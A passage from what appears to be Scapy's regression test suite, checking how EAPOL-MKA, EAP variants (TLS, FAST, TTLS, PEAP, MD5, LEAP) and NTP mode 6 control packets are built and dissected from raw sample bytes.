b"OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae") = EAPOL-MKA - With Distributed SAK parameter set - Dissection eapol = None s = b"\x03\x05\x00\xb4\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x81\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x10\x00\x1c\x00\x00\x00\x01Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu\xff\x00\x00\x10\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur" eapol = EAPOL(s) assert(eapol.version == 3) assert(eapol.type == 5) assert(eapol.len == 180) assert(eapol.haslayer(MKAPDU)) assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol.haslayer(MKASAKUseParamSet)) assert(eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6") assert(eapol.haslayer(MKALivePeerListParamSet)) assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7") assert(eapol.haslayer(MKADistributedSAKParamSet)) assert(eapol[MKADistributedSAKParamSet].sak_aes_key_wrap == b"Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu") assert(eapol[MKAPDU].haslayer(MKAICVSet)) assert(eapol[MKAPDU][MKAICVSet].icv == b"\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur") ############ ############ ############ + EAP class tests = EAP - Basic Instantiation raw(EAP()) == b'\x04\x00\x00\x04' = EAP - Instantiation with specific values raw(EAP(code = 1, id = 1, len = 5, type = 1)) == b'\x01\x01\x00\x05\x01' = EAP - Instantiation - Multiple desired authentication types raw(EAP(code=2, type=3, desired_auth_types=[13,21,25,43])) == b'\x02\x00\x00\t\x03\r\x15\x19+' = EAP - Dissection (1) s = b'\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 1) assert(eap.id == 1) assert(eap.len == 5) assert(hasattr(eap, "type")) assert(eap.type == 1) = EAP - Dissection (2) s = b'\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 1) assert(eap.len == 14) assert(eap.type == 1) assert(hasattr(eap, 'identity')) assert(eap.identity == b'anonymous') = EAP - Dissection (3) s = b'\x01\x01\x00\x06\r ' eap = EAP(s) assert(eap.code == 1) assert(eap.id == 1) assert(eap.len == 6) assert(eap.type == 13) assert(eap.haslayer(EAP_TLS)) assert(eap[EAP_TLS].L == 0) assert(eap[EAP_TLS].M == 0) assert(eap[EAP_TLS].S == 1) = EAP - Dissection (4) s = b'\x02\x01\x00\xd1\r\x00\x16\x03\x01\x00\xc6\x01\x00\x00\xc2\x03\x01UK\x02\xdf\x1e\xde5\xab\xfa[\x15\xef\xbe\xa2\xe4`\xc6g\xb9\xa8\xaa%vAs\xb2\x1cXt\x1c0\xb7\x00\x00P\xc0\x14\xc0\n\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 1) assert(eap.len == 209) assert(eap.type == 13) assert(eap.haslayer(EAP_TLS)) assert(eap[EAP_TLS].L == 0) assert(eap[EAP_TLS].M == 0) assert(eap[EAP_TLS].S == 0) = EAP - Dissection (5) s = b'\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 158) assert(eap.len == 60) assert(eap.type == 43) assert(eap.haslayer(EAP_FAST)) assert(eap[EAP_FAST].L == 0) assert(eap[EAP_FAST].M == 0) assert(eap[EAP_FAST].S == 0) assert(eap[EAP_FAST].version == 1) = EAP - Dissection (6) s = b'\x02\x9f\x01L+\x01\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00Y\xc9\x8a\tcw\t\xdcbU\xfd\x035\xcd\x1a\t\x10f&[(9\xf6\x88W`\xc6\x0f\xb3\x84\x15\x19\xf5\tk\xbd\x8fp&0\xb0\xa4B\x85\x0c<:s\xf2zT\xc3\xbd\x8a\xe4D{m\xe7\x97\xfe>\xda\x14\xb8T1{\xd7H\x9c\xa6\xcb\xe3,u\xdf\xe0\x82\xe5R\x1e<\xe5\x03}\xeb\x98\xe2\xf7\x8d3\xc6\x83\xac"\x8f\xd7\x12\xe5{:"\x84A\xd9\x14\xc2cZF\xd4\t\xab\xdar\xc7\xe0\x0e\x00o\xce\x05g\xdc?\xcc\xf7\xe83\x83E\xb3>\xe8<3-QB\xfd$C/\x1be\xcf\x03\xd6Q4\xbe\\h\xba)<\x99N\x89\xd9\xb1\xfa!\xd7a\xef\xa3\xd3o\xed8Uz\xb5k\xb0`\xfeC\xbc\xb3aS,d\xe6\xdc\x13\xa4A\x1e\x9b\r{\xd6s \xd0cQ\x95y\xc8\x1d\xc3\xd9\x87\xf2=\x81\x96q~\x99E\xc3\x97\xa8px\xe2\xc7\x92\xeb\xff/v\x84\x1e\xfb\x00\x95#\xba\xfb\xd88h\x90K\xa7\xbd9d\xb4\xf2\xf2\x14\x02vtW\xaa\xadY\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000\x97\xc5l\xd6\xef\xffcM\x81\x90Q\x96\xf6\xfeX1\xf7\xfc\x84\xc6\xa0\xf6Z\xcd\xb6\xe1\xd4\xdb\x88\xf9t%Q!\xe7,~#2G-\xdf\x83\xbf\x86Q\xa2$' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 159) assert(eap.len == 332) assert(eap.type == 43) assert(eap.haslayer(EAP_FAST)) assert(eap[EAP_FAST].L == 0) assert(eap[EAP_FAST].M == 0) assert(eap[EAP_FAST].S == 0) assert(eap[EAP_FAST].version == 1) = EAP - Dissection (7) s = b'\x02\xf1\x00\t\x03\r\x15\x19+' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 241) assert(eap.len == 9) assert(eap.type == 3) assert(hasattr(eap, 'desired_auth_types')) assert(eap.desired_auth_types == [13,21,25,43]) = EAP - Dissection (8) s = b"\x02\x03\x01\x15\x15\x00\x16\x03\x01\x01\n\x01\x00\x01\x06\x03\x03\xd5\xd9\xd5rT\x9e\xb8\xbe,>\xcf!\xcf\xc7\x02\x8c\xb1\x1e^F\xf7\xc84\x8c\x01t4\x91[\x02\xc8/\x00\x00\x8c\xc00\xc0,\xc0(\xc0$\xc0\x14\xc0\n\x00\xa5\x00\xa3\x00\xa1\x00\x9f\x00k\x00j\x00i\x00h\x009\x008\x007\x006\x00\x88\x00\x87\x00\x86\x00\x85\xc02\xc0.\xc0*\xc0&\xc0\x0f\xc0\x05\x00\x9d\x00=\x005\x00\x84\xc0/\xc0+\xc0'\xc0#\xc0\x13\xc0\t\x00\xa4\x00\xa2\x00\xa0\x00\x9e\x00g\x00@\x00?\x00>\x003\x002\x001\x000\x00\x9a\x00\x99\x00\x98\x00\x97\x00E\x00D\x00C\x00B\xc01\xc0-\xc0)\xc0%\xc0\x0e\xc0\x04\x00\x9c\x00<\x00/\x00\x96\x00A\x00\xff\x01\x00\x00Q\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\x1c\x00\x1a\x00\x17\x00\x19\x00\x1c\x00\x1b\x00\x18\x00\x1a\x00\x16\x00\x0e\x00\r\x00\x0b\x00\x0c\x00\t\x00\n\x00\r\x00 \x00\x1e\x06\x01\x06\x02\x06\x03\x05\x01\x05\x02\x05\x03\x04\x01\x04\x02\x04\x03\x03\x01\x03\x02\x03\x03\x02\x01\x02\x02\x02\x03\x00\x0f\x00\x01\x01" eap = EAP(s) assert(eap.code == 2) assert(eap.id == 3) assert(eap.len == 277) assert(eap.type == 21) assert(eap.haslayer(EAP_TTLS)) assert(eap[EAP_TTLS].L == 0) assert(eap[EAP_TTLS].M == 0) assert(eap[EAP_TTLS].S == 0) assert(eap[EAP_TTLS].version == 0) = EAP - EAP_TLS - Basic Instantiation raw(EAP_TLS()) == b'\x01\x00\x00\x06\r\x00' = EAP - EAP_FAST - Basic Instantiation raw(EAP_FAST()) == b'\x01\x00\x00\x06+\x00' = EAP - EAP_TTLS - Basic Instantiation raw(EAP_TTLS()) == b'\x01\x00\x00\x06\x15\x00' = EAP - EAP_PEAP - Basic Instantiation raw(EAP_PEAP()) == b'\x01\x00\x00\x06\x19\x01' = EAP - EAP_MD5 - Basic Instantiation raw(EAP_MD5()) == b'\x01\x00\x00\x06\x04\x00' = EAP - EAP_MD5 - Request - Dissection (8) s = b'\x01\x02\x00\x16\x04\x10\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 1) assert(eap.id == 2) assert(eap.len == 22) assert(eap.type == 4) assert(eap.haslayer(EAP_MD5)) assert(eap[EAP_MD5].value_size == 16) assert(eap[EAP_MD5].value == b'\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb') assert(eap[EAP_MD5].optional_name == b'') = EAP - EAP_MD5 - Response - Dissection (9) s = b'\x02\x02\x00\x16\x04\x10\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' eap = EAP(s) assert(eap.code == 2) assert(eap.id == 2) assert(eap.len == 22) assert(eap.type == 4) assert(eap.haslayer(EAP_MD5)) assert(eap[EAP_MD5].value_size == 16) assert(eap[EAP_MD5].value == b'\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf') assert(eap[EAP_MD5].optional_name == b'') = EAP - LEAP - Basic Instantiation raw(LEAP()) == b'\x01\x00\x00\x08\x11\x01\x00\x00' = EAP - LEAP - Request - Dissection (10) s = b'\x01D\x00\x1c\x11\x01\x00\x088\xb6\xd7\xa1E\x9a9\x8a[\x91\xe1U\xfa\xb6H\xd1\xbd\x9b\xd5\xadl\rV\x00\x00\x02\x00/\x01\x00' eap = EAP_PEAP(s) assert(eap.code == 2) assert(eap.id == 3) assert(eap.len == 56) assert(eap.type == 25) assert(eap.haslayer(EAP_PEAP)) assert(eap[EAP_PEAP].S == 0) assert(eap[EAP_PEAP].version == 1) assert(hasattr(eap[EAP_PEAP], "tls_data")) = EAP - Layers (1) eap = EAP_MD5() assert(EAP_MD5 in eap) assert(not EAP_TLS in eap) assert(not EAP_FAST in eap) assert(not LEAP in eap) assert(EAP in eap) eap = EAP_TLS() assert(EAP_TLS in eap) assert(not EAP_MD5 in eap) assert(not EAP_FAST in eap) assert(not LEAP in eap) assert(EAP in eap) eap = EAP_FAST() assert(EAP_FAST in eap) assert(not EAP_MD5 in eap) assert(not EAP_TLS in eap) assert(not LEAP in eap) assert(EAP in eap) eap = EAP_TTLS() assert(EAP_TTLS in eap) assert(not EAP_MD5 in eap) assert(not EAP_TLS in eap) assert(not EAP_FAST in eap) assert(not LEAP in eap) assert(EAP in eap) eap = EAP_PEAP() assert(EAP_PEAP in eap) assert(EAP in eap) eap = LEAP() assert(not EAP_MD5 in eap) assert(not EAP_TLS in eap) assert(not EAP_FAST in eap) assert(LEAP in eap) assert(EAP in eap) = EAP - Layers (2) eap = EAP_MD5() assert(type(eap[EAP]) == EAP_MD5) eap = EAP_TLS() assert(type(eap[EAP]) == EAP_TLS) eap = EAP_FAST() assert(type(eap[EAP]) == EAP_FAST) eap = EAP_TTLS() assert(type(eap[EAP]) == EAP_TTLS) eap = EAP_PEAP() assert(type(eap[EAP]) == EAP_PEAP) eap = LEAP() assert(type(eap[EAP]) == LEAP) = EAP - sessions (1) p = IP()/TCP()/EAP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = EAP - sessions (2) p = IP()/UDP()/EAP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ############ ############ + NTP module tests = NTP - Layers (1) p = NTPHeader() assert(NTPHeader in p) assert(not NTPControl in p) assert(not NTPPrivate in p) assert(NTP in p) p = NTPControl() assert(not NTPHeader in p) assert(NTPControl in p) assert(not NTPPrivate in p) assert(NTP in p) p = NTPPrivate() assert(not NTPHeader in p) assert(not NTPControl in p) assert(NTPPrivate in p) assert(NTP in p) = NTP - Layers (2) p = NTPHeader() assert(type(p[NTP]) == NTPHeader) p = NTPControl() assert(type(p[NTP]) == NTPControl) p = NTPPrivate() assert(type(p[NTP]) == NTPPrivate) = NTP - sessions (1) p = IP()/TCP()/NTP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = NTP - sessions (2) p = IP()/UDP()/NTP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ############ ############ + NTPHeader tests = NTPHeader - Basic checks len(raw(NTP())) == 48 = NTPHeader - Dissection s = b"!\x0b\x06\xea\x00\x00\x00\x00\x00\x00\xf2\xc1\x7f\x7f\x01\x00\xdb9\xe8\xa21\x02\xe6\xbc\xdb9\xe8\x81\x02U8\xef\xdb9\xe8\x80\xdcl+\x06\xdb9\xe8\xa91\xcbI\xbf\x00\x00\x00\x01\xady\xf3\xa1\xe5\xfc\xd02\xd2j\x1e'\xc3\xc1\xb6\x0e" p = NTP(s) assert(isinstance(p, NTPHeader)) assert(p[NTPAuthenticator].key_id == 1) assert(bytes_hex(p[NTPAuthenticator].dgst) == b'ad79f3a1e5fcd032d26a1e27c3c1b60e') = NTPHeader - KoD s = b'\xe4\x00\x06\xe8\x00\x00\x00\x00\x00\x00\x02\xcaINIT\x00\x00\x00\x00\x00\x00\x00\x00\xdb@\xe3\x9eH\xa3pj\xdb@\xe3\x9eH\xf0\xc3\\\xdb@\xe3\x9eH\xfaL\xac\x00\x00\x00\x01B\x86)\xc1Q4\x8bW8\xe7Q\xda\xd0Z\xbc\xb8' p = NTP(s) assert(isinstance(p, NTPHeader)) assert(p.leap == 3) assert(p.version == 4) assert(p.mode == 4) assert(p.stratum == 0) assert(p.ref_id == b'INIT') = NTPHeader - Extension dissection test s = b'#\x02\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x89\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPHeader)) assert(p.leap == 0) assert(p.version == 4) assert(p.mode == 3) assert(p.stratum == 2) = NTPAuthenticator s = hex_bytes("000c2962f268d094666d23750800450000640db640004011a519c0a80364c0a80305a51e007b0050731a2300072000000000000000000000000000000000000000000000000000000000000000000000000052c7bc1dda64b97d0000000bcdc3825dbf6b7ad02886ff45aa8b2eaf7ac78bc1") p = Ether(s) assert NTPAuthenticator in p and p[NTPAuthenticator].key_id == 3452142173 ############ ############ + NTP Control (mode 6) tests = NTP Control (mode 6) - CTL_OP_READSTAT (1) - request s = b'\x16\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 1) assert(p.sequence == 12) assert(p.status == 0) assert(p.association_id == 0) assert(p.offset == 0) assert(p.count == 0) assert(p.data == b'') = NTP Control (mode 6) - CTL_OP_READSTAT (2) - response s = b'\x16\x81\x00\x0c\x06d\x00\x00\x00\x00\x00\x04\xe5\xfc\xf6$' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 1) assert(p.sequence == 12) assert(isinstance(p.status_word, NTPSystemStatusPacket)) assert(p.status_word.leap_indicator == 0) assert(p.status_word.clock_source == 6) assert(p.status_word.system_event_counter == 6) assert(p.status_word.system_event_code == 4) assert(p.association_id == 0) assert(p.offset == 0) assert(p.count == 4) assert(isinstance(p.data, NTPPeerStatusDataPacket)) assert(p.data.association_id == 58876) assert(isinstance(p.data.peer_status, NTPPeerStatusPacket)) assert(p.data.peer_status.configured == 1) assert(p.data.peer_status.auth_enabled == 1) assert(p.data.peer_status.authentic == 1) assert(p.data.peer_status.reachability == 1) assert(p.data.peer_status.reserved == 0) assert(p.data.peer_status.peer_sel == 6) assert(p.data.peer_status.peer_event_counter == 2) assert(p.data.peer_status.peer_event_code == 4) = NTP Control (mode 6) - CTL_OP_READVAR (1) - request s = b'\x16\x02\x00\x12\x00\x00\xfc\x8f\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.op_code == 2) assert(p.sequence == 18) assert(p.status == 0) assert(p.association_id == 64655) assert(p.data == b'') = NTP Control (mode 6) - CTL_OP_READVAR (2) - response (1st packet) s = b'\xd6\xa2\x00\x12\xc0\x11\xfc\x8f\x00\x00\x01\xd4srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 1) assert(p.op_code == 2) assert(p.sequence == 18) assert(isinstance(p.status_word, NTPPeerStatusPacket)) assert(p.status_word.configured == 1) assert(p.status_word.auth_enabled == 1) assert(p.status_word.authentic == 0) assert(p.status_word.reachability == 0) assert(p.status_word.peer_sel == 0) assert(p.status_word.peer_event_counter == 1) assert(p.status_word.peer_event_code == 1) assert(p.association_id == 64655) assert(p.offset == 0) assert(p.count == 468) assert(p.data.load == b'srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ') = NTP Control (mode 6) - CTL_OP_READVAR (3) - response (2nd packet) s = b'\xd6\x82\x00\x12\xc0\x11\xfc\x8f\x01\xd4\x00i0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 2) assert(p.sequence == 18) assert(isinstance(p.status_word, NTPPeerStatusPacket)) assert(p.association_id == 64655) assert(p.offset == 468) assert(p.count == 105) assert(p.data.load == b'0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00') = NTP Control (mode 6) - CTL_OP_READVAR (4) - request s = b'\x16\x02\x00\x13\x00\x00s\xb5\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01=\xc2;\xc7\xed\xb9US9\xd6\x89\x08\xc8\xaf\xa6\x12' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 2) assert(len(p.data.load) == 12) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'3dc23bc7edb9555339d68908c8afa612') = NTP Control (mode 6) - CTL_OP_READVAR (5) - response s = b'\xd6\xc2\x00\x13\x05\x00s\xb5\x00\x00\x00\x00\x00\x00\x00\x01\x97(\x02I\xdb\xa0s8\xedr(`\xdbJX\n' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 1) assert(p.more == 0) assert(p.op_code == 2) assert(len(p.data.load) == 0) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'97280249dba07338ed722860db4a580a') = NTP Control (mode 6) - CTL_OP_WRITEVAR (1) - request s = b'\x16\x03\x00\x11\x00\x00\x00\x00\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01\xaf\xf1\x0c\xb4\xc9\x94m\xfcM\x90\tJ\xa1p\x94J' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 3) assert(len(p.data.load) == 12) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'aff10cb4c9946dfc4d90094aa170944a') = NTP Control (mode 6) - CTL_OP_WRITEVAR (2) - response s = b'\xd6\xc3\x00\x11\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80z\x80\xfb\xaf\xc4pg\x98S\xa8\xe5xe\x81\x1c' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 1) assert(p.more == 0) assert(p.op_code == 3) assert(hasattr(p, 'status_word')) assert(isinstance(p.status_word, NTPErrorStatusPacket)) assert(p.status_word.error_code == 5) assert(len(p.data.load) == 0) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'807a80fbafc470679853a8e57865811c') = NTP Control (mode 6) - CTL_OP_CONFIGURE (1) - request s = b'\x16\x08\x00\x16\x00\x00\x00\x00\x00\x00\x00\x0ccontrolkey 1\x00\x00\x00\x01\xea\xa7\xac\xa8\x1bj\x9c\xdbX\xe1S\r6\xfb\xef\xa4' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 8) assert(p.count == 12) assert(p.data.load == b'controlkey 1') assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'eaa7aca81b6a9cdb58e1530d36fbefa4') = NTP Control (mode 6) - CTL_OP_CONFIGURE (2) - response s = b'\xd6\x88\x00\x16\x00\x00\x00\x00\x00\x00\x00\x12Config Succeeded\r\n\x00\x00\x00\x00\x00\x01\xbf\xa6\xd8_\xf9m\x1e2l)<\xac\xee\xc2\xa59' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 8) assert(p.count == 18) assert(p.data.load == b'Config Succeeded\r\n\x00\x00') assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'bfa6d85ff96d1e326c293caceec2a539') = NTP Control (mode 6) - CTL_OP_SAVECONFIG (1) - request s = b'\x16\t\x00\x1d\x00\x00\x00\x00\x00\x00\x00\x0fntp.test.2.conf\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc9\xfb\x8a\xbe<`_\xfa6\xd2\x18\xc3\xb7d\x89#' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 9) assert(p.count == 15) assert(p.data.load == b'ntp.test.2.conf\x00') assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'c9fb8abe3c605ffa36d218c3b7648923') = NTP Control (mode 6) - CTL_OP_SAVECONFIG (2) - response s = b"\xd6\x89\x00\x1d\x00\x00\x00\x00\x00\x00\x00*Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00\x00\x00\x00\x012\xc2\xbaY\xc53\xfe(\xf5P\xe5\xa0\x86\x02\x95\xd9" p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 9) assert(p.count == 42) assert(p.data.load == b"Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00") assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'32c2ba59c533fe28f550e5a0860295d9') = NTP Control (mode 6) - CTL_OP_REQ_NONCE (1) - request s = b'\x16\x0c\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 12) assert(p.data == b'') assert(p.authenticator == b'') = NTP Control (mode 6) - CTL_OP_REQ_NONCE (2) - response s = b'\xd6\x8c\x00\x07\x00\x00\x00\x00\x00\x00\x00 nonce=db4186a2e1d9022472e24bc9\r\n' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.more == 0) assert(p.op_code == 12) assert(p.data.load == b'nonce=db4186a2e1d9022472e24bc9\r\n') assert(p.authenticator == b'') = NTP Control (mode 6) - CTL_OP_READ_MRU (1) - request s = b'\x16\n\x00\x08\x00\x00\x00\x00\x00\x00\x00(nonce=db4186a2e1d9022472e24bc9, frags=32' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.err == 0) assert(p.op_code == 10) assert(p.count == 40) assert(p.data.load == b'nonce=db4186a2e1d9022472e24bc9, frags=32') assert(p.authenticator == b'') = NTP Control (mode 6) - CTL_OP_READ_MRU (2) - response s = b'\xd6\x8a\x00\x08\x00\x00\x00\x00\x00\x00\x00\xe9nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.err == 0) assert(p.op_code == 10) assert(p.count == 233) assert(p.data.load == b'nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00') assert(p.authenticator == b'') ############ ############ + 